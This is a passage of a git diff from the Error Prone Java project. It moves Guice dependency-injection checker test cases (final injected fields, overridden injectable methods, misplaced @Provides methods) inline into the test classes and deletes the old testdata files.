b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java @@ -31,11 +31,70 @@ public class InjectOnFinalFieldTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/InjectOnFinalFieldPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "InjectOnFinalFieldPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.Inject; + import org.jspecify.annotations.Nullable; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class InjectOnFinalFieldPositiveCases { + /** Class has a final injectable(com.google.inject.Inject) field. */ + public class TestClass1 { + // BUG: Diagnostic contains: @Inject int a + @Inject final int a = 0; + + @Inject + // BUG: Diagnostic contains: public int b + public final int b = 0; + + @Inject @Nullable + // BUG: Diagnostic contains: Object c + final Object c = null; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/InjectOnFinalFieldNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InjectOnFinalFieldNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.Inject; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class InjectOnFinalFieldNegativeCases { + + /** Class has no final fields or @Inject annotations. */ + public class TestClass1 {} + + /** Class has a final field that is not injectable. */ + public class TestClass2 { + public final int n = 0; + } + + /** Class has an injectable(com.google.inject.Inject) field that is not final. */ + public class TestClass3 { + @Inject public int n; + } + + /** Class has an injectable(com.google.inject.Inject), final method. */ + public class TestClass4 { + @Inject + final void method() {} + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java index 5ed2be1d8e9..340f0acaffe 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java @@ -32,14 +32,140 @@ public class OverridesGuiceInjectableMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/OverridesGuiceInjectableMethodPositiveCases.java") + .addSourceLines( + "OverridesGuiceInjectableMethodPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class OverridesGuiceInjectableMethodPositiveCases { + + /** Class with a method foo() annotated with @com.google.inject.Inject. */ + public class TestClass1 { + @com.google.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject, but overrides a method that is + * annotated with @com.google.inject.Inject + */ + public class TestClass2 extends TestClass1 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject, but overrides a method that in + * turn is overrides a method that is annotated with @com.google.inject.Inject + */ + public class TestClass3 extends TestClass2 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @javax.inject.Inject and overrides a + * method that is annotated with @com.google.inject.Inject. This class does not contain an error, + * but it is extended in the next test class. + */ + public class TestClass4 extends TestClass1 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject and overrides a method that is is + * annotated with @javax.inject.Inject. This super method in turn overrides a method that is + * annoatated with @com.google.inject.Inject. + */ + public class TestClass5 extends TestClass4 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** Class that extends a class with an injected method, but doesn't override it. */ + public class TestClass6 extends TestClass1 {} + + /** + * Class that extends a class with an injected method, but it was declared in a supertype that + * isn't a direct supertype. + */ + public class TestClass7 extends TestClass1 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/OverridesGuiceInjectableMethodNegativeCases.java") + .addSourceLines( + "OverridesGuiceInjectableMethodNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class OverridesGuiceInjectableMethodNegativeCases { + + /** Class with a method foo() annotated with @com.google.inject.Inject. */ + public class TestClass1 { + @com.google.inject.Inject + public void foo() {} + } + + /** Class with a method foo() annotated with @javax.inject.Inject. */ + public class TestClass2 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated + * with @com.google.inject.Inject. + */ + public class TestClass3 extends TestClass1 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() annotated with @com.google.inject.Inject that overrides a method + * annotated with @javax.inject.Inject. + */ + public class TestClass4 extends TestClass2 { + @com.google.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated + * with @com.google.inject.Inject + */ + public class TestClass5 extends TestClass1 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject, but overrides a method that is + * annotated with @com.google.inject.Inject. Warning is suppressed. + */ + public class TestClass6 extends TestClass1 { + @SuppressWarnings("OverridesGuiceInjectableMethod") + @Override + public void foo() {} + } + + /** Class that extends a class with an injected method, but doesn't override it. */ + public class TestClass7 extends TestClass1 {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java index f7e21cfdb92..0962f498cd2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java @@ -32,14 +32,115 @@ public class OverridesJavaxInjectableMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/OverridesJavaxInjectableMethodPositiveCases.java") + .addSourceLines( + "OverridesJavaxInjectableMethodPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class OverridesJavaxInjectableMethodPositiveCases { + + /** Class with foo() */ + public class TestClass0 { + public void foo() {} + } + + /** + * Class with a method foo() that is annotated with {@code javax.inject.Inject}. Other test + * classes will extend this class. + */ + public class TestClass1 extends TestClass0 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated, but overrides a method annotated with + * {@code @}javax.inject.Inject. + */ + public class TestClass2 extends TestClass1 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated, but overrides a method that in turn overrides + * a method that is annotated with @javax.inject.Inject. + */ + public class TestClass3 extends TestClass2 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/OverridesJavaxInjectableMethodNegativeCases.java") + .addSourceLines( + "OverridesJavaxInjectableMethodNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class OverridesJavaxInjectableMethodNegativeCases { + /** Class with a method foo() with no annotations. */ + public class TestClass1 { + public void foo() {} + } + + /** Class with a method foo() annotated with @com.google.inject.Inject. */ + public class TestClass2 { + @com.google.inject.Inject + public void foo() {} + } + + /** Class with a method foo() annotated with @javax.inject.Inject. */ + public class TestClass3 { + @javax.inject.Inject + public void foo() {} + } + + /** OK, as it overrides a Guice-Inject method */ + public class TestClass4 extends TestClass2 { + @Override + public void foo() {} + } + + /** gInject <- jInject */ + public class TestClass5 extends TestClass3 { + @com.google.inject.Inject + public void foo() {} + } + + /** jInject <- gInject */ + public class TestClass6 extends TestClass2 { + @javax.inject.Inject + public void foo() {} + } + + /** OK, as 7 <- jInject <- gInject */ + public class TestClass7 extends TestClass6 { + public void foo() {} + } + + /** OK, as 8 <- gInject */ + public class TestClass8 extends TestClass5 { + public void foo() {} + } + + /** Explicitly suppressed warning */ + public class TestClass9 extends TestClass3 { + @Override + @SuppressWarnings("OverridesJavaxInjectableMethod") + public void foo() {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java index cd5c28f3071..e87d5e7fdfb 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java @@ -32,14 +32,123 @@ public class ProvidesMethodOutsideOfModuleTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ProvidesMethodOutsideOfModulePositiveCases.java") + .addSourceLines( + "ProvidesMethodOutsideOfModulePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.AbstractModule; + import com.google.inject.Provides; + + /** Tests for {@code ProvidesMethodOutsideOfModule} */ + public class ProvidesMethodOutsideOfModulePositiveCases { + + /** Random class contains a provides method. */ + public class TestClass1 { + // BUG: Diagnostic contains: remove + @Provides + void providesBlah() {} + } + + /** Module contains an anonymous inner with a Provides method. */ + public class TestModule extends AbstractModule { + @Override + protected void configure() { + Object x = + new Object() { + // BUG: Diagnostic contains: remove + @Provides + void providesBlah() {} + }; + } + } + + /** Class has inner module class */ + public class TestClass2 { + class NestedModule extends AbstractModule { + @Override + protected void configure() {} + + @Provides + int thisIsOk() { + return 42; + } + } + + // BUG: Diagnostic contains: remove + @Provides + int thisIsNotOk() { + return 42; + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ProvidesMethodOutsideOfModuleNegativeCases.java") + .addSourceLines( + "ProvidesMethodOutsideOfModuleNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.gwt.inject.client.AbstractGinModule; + import com.google.gwt.inject.client.GinModule; + import com.google.gwt.inject.client.binder.GinBinder; + import com.google.inject.AbstractModule; + import com.google.inject.Binder; + import com.google.inject.Module; + import com.google.inject.Provides; + + /** Tests for {@code ProvidesMethodOutsideOfModule} */ + public class ProvidesMethodOutsideOfModuleNegativeCases { + + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() {} + + @Provides + int providesFoo() { + return 42; + } + } + + /** implements the Module interface directly */ + class Module2 implements Module { + @Override + public void configure(Binder binder) {} + + @Provides + int providesFoo() { + return 42; + } + } + + /** Regular GinModule */ + class GinModule1 extends AbstractGinModule { + + @Override + protected void configure() {} + + @Provides + int providesFoo() { + return 42; + } + } + + /** Implements the GinModule interface directly */ + class GinModule2 implements GinModule { + @Override + public void configure(GinBinder binder) {} + + @Provides + int providesFoo() { + return 42; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java deleted file mode 100644 index 90496203f01..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; -import com.google.inject.Singleton; -import com.google.inject.assistedinject.Assisted; -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class AssistedInjectScopingNegativeCases { - - /** Class is not assisted and has no scoping annotation. */ - public class TestClass1 { - public TestClass1(String unassisted1, String unassisted2) {} - } - - /** Class is not assisted and has no scoping annotation, but has an unrelated annotation. */ - @SuppressWarnings("foo") - public class TestClass2 { - public TestClass2(String unassisted, @Assisted String assisted) {} - } - - /** Class is not assisted but has scoping annotation. */ - @Singleton - public class TestClass3 { - public TestClass3(String unassisted1, String unassisted2) {} - } - - /** Class is assisted via @Assisted param but has no scoping annotation. */ - public class TestClass4 { - @Inject - public TestClass4(@Assisted String assisted) {} - } - - /** Class is assisted via @AssistedInject constructor but has no scoping annotation. */ - public class TestClass5 { - @AssistedInject - public TestClass5(String unassisted) {} - } - - /** Class is not assisted -- constructor with @Assisted param does not have @Inject. */ - @Singleton - public class TestClass6 { - public TestClass6(@Assisted String assisted) {} - } - - /** Multiple constructors but not assisted. */ - @Singleton - public class TestClass7 { - public TestClass7(String unassisted1, String unassisted2) {} - - public TestClass7(String unassisted, int i) {} - - public TestClass7(int i, String unassisted) {} - } - - /** Multiple constructors, one with @Inject, non-@Inject ones match. */ - @Singleton - public class TestClass8 { - @Inject - public TestClass8(String unassisted1, String unassisted2) {} - - @AssistedInject - public TestClass8(String param, int i) {} - - @AssistedInject - public TestClass8(int i, String param) {} - } - - /** Multiple constructors, one with @Inject, non-@Inject ones match. */ - @Singleton - public class TestClass9 { - @Inject - public TestClass9(String unassisted1, String unassisted2) {} - - @AssistedInject - public TestClass9(String param, int i) {} - - @AssistedInject - public TestClass9(int i, String param) {} - } - - @Singleton - public class TestClass10 { - public TestClass10(@Assisted String assisted, String unassisted) {} - - public TestClass10(@Assisted String assisted, int i) {} - - public TestClass10(int i, @Assisted String assisted) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java deleted file mode 100644 index 82c0a6cf155..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; -import com.google.inject.Singleton; -import com.google.inject.assistedinject.Assisted; -import com.google.inject.assistedinject.AssistedInject; -import com.google.inject.servlet.RequestScoped; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class AssistedInjectScopingPositiveCases { - - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass { - @Inject - public TestClass(String unassisted, @Assisted String assisted) {} - } - - // BUG: Diagnostic contains: remove this line - @RequestScoped - public class TestClass2 { - @Inject - public TestClass2(String unassisted, @Assisted String assisted) {} - } - - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass3 { - @AssistedInject - public TestClass3(String param) {} - } - - /** Multiple constructors, but only one with @Inject, and that one matches. */ - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass4 { - @Inject - public TestClass4(String unassisted, @Assisted String assisted) {} - - public TestClass4(String unassisted, int i) {} - - public TestClass4(int i, String unassisted) {} - } - - /** Multiple constructors, none with @Inject, one matches. */ - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass5 { - public TestClass5(String unassisted1, String unassisted2) {} - - public TestClass5(String unassisted, int i) {} - - @AssistedInject - public TestClass5(int i, String unassisted) {} - } - - /** JSR330 annotations. */ - // BUG: Diagnostic contains: remove this line - @javax.inject.Singleton - public class TestClass6 { - @javax.inject.Inject - public TestClass6(String unassisted, @Assisted String assisted) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java deleted file mode 100644 index 6a7516049d4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.assistedinject.Assisted; -import java.util.List; -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedParametersNegativeCases { - - /** Class has constructor with two @Assisted parameters of different types. */ - public class TestClass1 { - @Inject - public TestClass1(@Assisted int x, @Assisted String y, long z) {} - } - - /** - * Class has constructor with two @Assisted parameters, but the @Assisted annotations have - * different values. - */ - public class TestClass2 { - @Inject - public TestClass2(@Assisted("foo") int x, @Assisted("bar") int y, String z) {} - } - - /** - * Class has constructor with one @Assisted parameter with no value specified and another - * parameter of the same type. - */ - public class TestClass3 { - @Inject - public TestClass3(@Assisted int x, int y, String z) {} - } - - /** - * Class has constructor with one @Assisted parameters with a value specified and another - * parameter of the same type. - */ - public class TestClass4 { - @Inject - public TestClass4(@Assisted("foo") int x, int y, String z) {} - } - - /** - * Class has constructor with two @Assisted parameters with the same value and generic type and - * different type parameters. - */ - public class TestClass5 { - @Inject - public TestClass5( - @Assisted("foo") List x, @Assisted("foo") List y, String z) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java deleted file mode 100644 index 5c704cea5ac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.assistedinject.Assisted; -import java.util.List; -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class AssistedParametersPositiveCases { - - /** Class has constructor with two @Assisted parameters of the same type. */ - public class TestClass1 { - @Inject - // BUG: Diagnostic contains: java.lang.String: x, y - public TestClass1(int n, @Assisted String x, @Assisted String y, int z) {} - - @Inject - // BUG: Diagnostic contains: java.lang.String, @Assisted("baz"): x, z - public TestClass1( - @Assisted("foo") int a, - @Assisted("foo") int b, - @Assisted("baz") String x, - @Assisted("baz") String z) {} - } - - /** Class has constructor with two @Assisted parameters of the same type and same value. */ - public class TestClass2 { - @Inject - // BUG: Diagnostic contains: int, @Assisted("foo"): x, y - public TestClass2(int n, @Assisted("foo") int x, @Assisted("foo") int y, String z) {} - } - - /** Class has constructor with two @Assisted parameters of the same parameterized type. */ - public class TestClass3 { - private static final String FOO = "foo"; - - @Inject - // BUG: Diagnostic contains: java.util.List, @Assisted("foo"): x, y - public TestClass3( - int n, @Assisted("foo") List x, @Assisted(FOO) List y, String z) {} - - @Inject - // BUG: Diagnostic contains: int, @Assisted("bar"): x, y - public TestClass3( - @Assisted() int n, @Assisted("bar") int x, @Assisted("bar") int y, String z) {} - } - - class GenericClass { - @Inject - // BUG: Diagnostic contains: T: a, b - GenericClass(@Assisted T a, @Assisted T b) {} - - @Inject - // BUG: Diagnostic contains: int: a, b - GenericClass(@Assisted Integer a, @Assisted int b) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java deleted file mode 100644 index d85a53583e3..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java +++ /dev/null @@ -1,99 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.inject.AbstractModule; -import com.google.inject.Binder; -import com.google.inject.BindingAnnotation; -import com.google.inject.Module; -import com.google.inject.Provides; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.util.List; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Tests for {@code BindingToUnqualifiedCommonType} */ -public class BindingToUnqualifiedCommonTypeNegativeCases { - - // All of the tagged instances would normally be flagged, but aren't because it's in a JUnit4 - // class - @RunWith(JUnit4.class) - static class MyTestClass { - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() { - bind(Integer.class).toInstance(2); - bind(String.class).toInstance("Hello"); - bind(Double.class).toProvider(() -> 42.0); - binder().bind(Long.class).toInstance(42L); - } - - @Provides - int providesFoo() { - return 42; - } - - @Provides - Integer provideBoxedFoo() { - return 42; - } - - @Provides - String providesGreeting() { - return "hi"; - } - } - } - - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() { - // Bindings to unannotated complex instances - bind(A.class).toInstance(new A()); - - // Binding to literals, but with a binding annotation - bind(Integer.class).annotatedWith(MyBindingAnnotation.class).toInstance(42); - } - - @Provides - List providesFoo() { - return ImmutableList.of(42); - } - } - - /** implements the Module interface directly */ - class Module2 implements Module { - @Override - public void configure(Binder binder) {} - - @Provides - @MyBindingAnnotation - int providesFoo() { - return 42; - } - } - - class A {} - - @BindingAnnotation - @Retention(RetentionPolicy.RUNTIME) - @interface MyBindingAnnotation {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java deleted file mode 100644 index f0bd8c55cfa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.AbstractModule; -import com.google.inject.Provides; - -/** Tests for {@code BindingToUnqualifiedCommonType} */ -public class BindingToUnqualifiedCommonTypePositiveCases { - - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() { - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - bind(Integer.class).toInstance(2); - - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - bind(String.class).toInstance("Hello"); - - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - bind(Double.class).toProvider(() -> 42.0); - - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - binder().bind(Long.class).toInstance(42L); - } - - @Provides - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - int providesFoo() { - return 42; - } - - @Provides - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - Integer provideBoxedFoo() { - return 42; - } - - @Provides - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - String providesGreeting() { - return "hi"; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java deleted file mode 100644 index 71a167e7769..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class InjectOnFinalFieldNegativeCases { - - /** Class has no final fields or @Inject annotations. */ - public class TestClass1 {} - - /** Class has a final field that is not injectable. */ - public class TestClass2 { - public final int n = 0; - } - - /** Class has an injectable(com.google.inject.Inject) field that is not final. */ - public class TestClass3 { - @Inject public int n; - } - - /** Class has an injectable(com.google.inject.Inject), final method. */ - public class TestClass4 { - @Inject - final void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java deleted file mode 100644 index 3bde324ed33..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; -import org.jspecify.annotations.Nullable; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class InjectOnFinalFieldPositiveCases { - /** Class has a final injectable(com.google.inject.Inject) field. */ - public class TestClass1 { - // BUG: Diagnostic contains: @Inject int a - @Inject final int a = 0; - - @Inject - // BUG: Diagnostic contains: public int b - public final int b = 0; - - @Inject @Nullable - // BUG: Diagnostic contains: Object c - final Object c = null; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java deleted file mode 100644 index 7a90bef6767..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesGuiceInjectableMethodNegativeCases { - - /** Class with a method foo() annotated with @com.google.inject.Inject. */ - public class TestClass1 { - @com.google.inject.Inject - public void foo() {} - } - - /** Class with a method foo() annotated with @javax.inject.Inject. */ - public class TestClass2 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated - * with @com.google.inject.Inject. - */ - public class TestClass3 extends TestClass1 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() annotated with @com.google.inject.Inject that overrides a method - * annotated with @javax.inject.Inject. - */ - public class TestClass4 extends TestClass2 { - @com.google.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated - * with @com.google.inject.Inject - */ - public class TestClass5 extends TestClass1 { - 